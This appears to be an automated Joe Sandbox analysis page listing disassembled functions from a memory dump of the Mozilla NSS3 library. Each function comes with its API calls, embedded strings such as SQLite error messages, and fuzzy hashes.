Download Yara Rule

APIs

Part of subcall function 6CFD40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CFD3F7F,?,00000055,?,?,6CFD1666,?,?), ref: 6CFD40D9
Part of subcall function 6CFD40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CFD1666,?,?), ref: 6CFD40FC
Part of subcall function 6CFD40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CFD1666,?,?), ref: 6CFD4138

PR_GetCurrentThread.NSS3 ref: 6CFD7CFD

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0F9030), ref: 6CFD7D1B

Part of subcall function 6D02FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CFD1A3E,00000048,00000054), ref: 6D02FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0F9048), ref: 6CFD7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CFD7D50
PR_GetCurrentThread.NSS3 ref: 6CFD7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CFD7D7D
free.MOZGLUE(?), ref: 6CFD7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CFD7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CFD7E19

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: bd72c4890aed6f0e0888a1903490ad7dce27ad48c0392c14b554c842ea2cb454
Instruction ID: a444d61991d08a224032c50d3cac93efb89a6fbcdd295bb27d2ec2a3df167651
Opcode Fuzzy Hash: bd72c4890aed6f0e0888a1903490ad7dce27ad48c0392c14b554c842ea2cb454
Instruction Fuzzy Hash: C6411772A0411A9FEB008F69AC41BAF37E8AF4435CF1B0126ED09AF655E730F915C7A1

Function 6CFE7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CFE80DD), ref: 6CFE7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CFE80DD), ref: 6CFE7F36
free.MOZGLUE(?,?,?,6CFE80DD), ref: 6CFE7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CFE80DD), ref: 6CFE7F5D
DeleteCriticalSection.KERNEL32(?,6CFE80DD), ref: 6CFE7F94
free.MOZGLUE(?), ref: 6CFE7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CFE80DD), ref: 6CFE7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CFE80DD), ref: 6CFE7FE6
free.MOZGLUE(?,6CFE80DD), ref: 6CFE802D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 5771d872e6784ed128a678e7f58f7b0c092cd8c48331d98db7406b0f5c6b4f3f
Instruction ID: 0e7187157edb1f04d0f2346a9de8a3dcf792052e191c85bd49bacf47301a50ff
Opcode Fuzzy Hash: 5771d872e6784ed128a678e7f58f7b0c092cd8c48331d98db7406b0f5c6b4f3f
Instruction Fuzzy Hash: E44138F9A012406BDB30AFB9E885B8B37B5AB4B318F16022AE70587741D7B1D405CBD1

Function 6D02FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D02FF00

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6D02FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6D02FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6D02FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6D02FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6D02FF8C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 1ff6c76dc1eae51e6e6269bf667990f3b6700b93dea3e30923905272a14a57ab
Instruction ID: 7388a101533e64f22443065fbbbbc32586bf7b6a80e9db97b9dfc3f2a5d4e049
Opcode Fuzzy Hash: 1ff6c76dc1eae51e6e6269bf667990f3b6700b93dea3e30923905272a14a57ab
Instruction Fuzzy Hash: 0231F3B6D0A3279BF7508E579880B2A7AECAF56384F024139EE1897241EB71D910C7D2

Function 6D034DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6D03536F,00000022,?,?,00000000,?), ref: 6D034E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6D034F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6D034F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6D034FAE
free.MOZGLUE(?), ref: 6D034FC8

Strings

%s=%s, xrefs: 6D034F89
%s=%c%s%c, xrefs: 6D034FA9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 56990c070b91ef02177dde92aa5c2fe62cabd2731a5422f2987d6cea57320da7
Instruction ID: 5298c53fcb906ec9180e43012659be452263fb4d16a6d16ba15bb2d65cef6aa8
Opcode Fuzzy Hash: 56990c070b91ef02177dde92aa5c2fe62cabd2731a5422f2987d6cea57320da7
Instruction Fuzzy Hash: C2510461A0816BABFB01CA6A84907FF7BF5AF4A300F5A4065E894AF341D327D84587A1

Function 6CF77D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF77E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF77E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?), ref: 6CF77EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF77F2E

Strings

database corruption, xrefs: 6CF77EE2, 6CF77F23
%s at line %d of [%.10s], xrefs: 6CF77EE7, 6CF77F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF77ED8, 6CF77F08, 6CF77F19

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 0c171e6d40592a205479afa182cb87d86443ae43f599bbba83f9447522235d3e
Instruction ID: abaa8b88c9f63605e50769f5be827b180ed1f888a41ea6521a8267ef85f22ad9
Opcode Fuzzy Hash: 0c171e6d40592a205479afa182cb87d86443ae43f599bbba83f9447522235d3e
Instruction Fuzzy Hash: 3361CF71A042059FDB26CF24E880BAA77A2FF49308F1544ABEC098B756D771EC51CBA0

Function 6CF5FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5FE83

Part of subcall function 6CF5FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CF5FEFA
Part of subcall function 6CF5FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CF5FF3B

Strings

database corruption, xrefs: 6CF5FD6E, 6CF5FE30
%s at line %d of [%.10s], xrefs: 6CF5FD73, 6CF5FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5FD64, 6CF5FE26

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: c98e86d66e5eae5044008dd7ac546e4e8254d3a29069e24f8baaf7bf648b2657
Instruction ID: c5cdca025c0784e46503f2e98efec3de8810e4a2522dd90565f2c53b327342dc
Opcode Fuzzy Hash: c98e86d66e5eae5044008dd7ac546e4e8254d3a29069e24f8baaf7bf648b2657
Instruction Fuzzy Hash: EE51A171A002059FDB44CFA9D8D0BAEB7B1FF48308F5440A9EA05AB756E771EC50CB90

Function 6D0A2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A2FFD
sqlite3_initialize.NSS3 ref: 6D0A3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D0A3032
sqlite3_mprintf.NSS3(6D10AAF9,?), ref: 6D0A3073
sqlite3_free.NSS3(?), ref: 6D0A30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6D0A30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6D0A30BB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 5f2b20bf90f82b0f316ade7a34d38bb6f420284774cdf43a70539b2a6f73eadd
Instruction ID: 46246b561fa7b395ed5e8918a56f794fc3b6e667027019d54c2f3229d90ff909
Opcode Fuzzy Hash: 5f2b20bf90f82b0f316ade7a34d38bb6f420284774cdf43a70539b2a6f73eadd
Instruction Fuzzy Hash: 6B41C071A00316ABEB00CFA5D850B5AB7E5FF48354F098528EC5987742E731F955CB90

Function 6CFE8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CFF124D,00000001), ref: 6CFE8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CFF124D,00000001), ref: 6CFE8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CFF124D,00000001), ref: 6CFE8D73
PR_Unlock.NSS3(?,?,?,?,?,6CFF124D,00000001), ref: 6CFE8D8C

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CFF124D,00000001), ref: 6CFE8DBA

Strings

KRAM, xrefs: 6CFE8D3E
KRAM, xrefs: 6CFE8CF9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: dfece400beea2feba5fd9b8d9255b52067e81aee3493fa72265db9bc32df82e0
Instruction ID: dd650adddaf99e20c67f2f30e9c83eab6e2c8fba172c93cb5701b27dfe413d0a
Opcode Fuzzy Hash: dfece400beea2feba5fd9b8d9255b52067e81aee3493fa72265db9bc32df82e0
Instruction Fuzzy Hash: 7D2180B5A046019FDB10EF3CC48475AB7F1FF89314F15896AD99897701D730D891CB91

Function 6D00ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6D00ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D00AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D00AD23

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D00AD39

Strings

hSession = 0x%x, xrefs: 6D00ACFE, 6D00AD0E
C_MessageDecryptFinal, xrefs: 6D00ACE1
(CK_INVALID_HANDLE), xrefs: 6D00AD1C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 83c36567f123e2cf3f2b87e2228642e40bb22238d0e72467095c4c4b174160ae
Instruction ID: 7b2bb8c3b2e066bad4f06491e0127c3b8cdc16c6286d0897843f52b9a3826fa6
Opcode Fuzzy Hash: 83c36567f123e2cf3f2b87e2228642e40bb22238d0e72467095c4c4b174160ae
Instruction Fuzzy Hash: 20214C74A00104AFFB20AFA4FD84F7E37F5EB41709F164026E90A97201DBB49945CBD2

Function 6D0E0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0E0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0E0EFA

Part of subcall function 6CFCAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CFCAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F2B

Strings

Aborting, xrefs: 6D0E0EB3
Assertion failure: %s, at %s:%d, xrefs: 6D0E0ED9, 6D0E0EE5, 6D0E0F06, 6D0E0F0B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 91f0da4d55dbfcddc4f9fc9e63f07fb6f439a4c92aa6458e9aa1db5a66c161d9
Instruction ID: 933dc660cbe238a9fb8a2778dd2a9d253e261c5530233b8ea48a6e7f4d25931c
Opcode Fuzzy Hash: 91f0da4d55dbfcddc4f9fc9e63f07fb6f439a4c92aa6458e9aa1db5a66c161d9
Instruction Fuzzy Hash: 520184B68041087FDF019F96EC44AAB3F7DEF462A4B054065FE0997611D772E96087E2

Function 6D0A4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D0A4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D0A4DE0

Strings

API call with %s database connection pointer, xrefs: 6D0A4DBD
%s at line %d of [%.10s], xrefs: 6D0A4DDA
invalid, xrefs: 6D0A4DB8
misuse, xrefs: 6D0A4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D0A4DCB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 10d4e0d78a0b325732562e954cbc703d30b7068346afc47b274d292f42b36a99
Instruction ID: 0178774ddc6ed0f25d261314c68aefbd6edb16bc3ae0894bd1693a40887603f0
Opcode Fuzzy Hash: 10d4e0d78a0b325732562e954cbc703d30b7068346afc47b274d292f42b36a99
Instruction Fuzzy Hash: 12F05929E146253BF7005094CC19FB63BD56F09364F4A00B1EE0CBB653DE45D9508380

Function 6D0A4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D0A4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D0A4E4D

Strings

API call with %s database connection pointer, xrefs: 6D0A4E2A
%s at line %d of [%.10s], xrefs: 6D0A4E47
invalid, xrefs: 6D0A4E25
misuse, xrefs: 6D0A4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D0A4E38

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 928d2b6e4d998dc522e153cf799577e10816d39a9acfc5d6bf37bbdcef79fe39
Instruction ID: 6dd1a8ccdeb523939a1e7ac5bd4cde9aac46dc187ce2703ee2af844e73c2d12b
Opcode Fuzzy Hash: 928d2b6e4d998dc522e153cf799577e10816d39a9acfc5d6bf37bbdcef79fe39
Instruction Fuzzy Hash: 35F09E24F845193BF7009098DC18FF237C96715326F0C01B1EA0D67383DF55DD204291

Function 6CFD9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFDA086
EnterCriticalSection.KERNEL32(?), ref: 6CFDA09B
PR_Unlock.NSS3(?), ref: 6CFDA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDA0E9
TlsGetValue.KERNEL32 ref: 6CFDA11B
EnterCriticalSection.KERNEL32(?), ref: 6CFDA12F
PR_Unlock.NSS3(?), ref: 6CFDA148

Part of subcall function 6CFF1A40: PR_Now.NSS3(?,00000000,6CFD28AD,00000000,?,6CFEF09A,00000000,6CFD28AD,6CFD93B0,?,6CFD93B0,6CFD28AD,00000000,?,00000000), ref: 6CFF1A65

Part of subcall function 6CFF1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CFF4126,?), ref: 6CFF1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDA1A3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
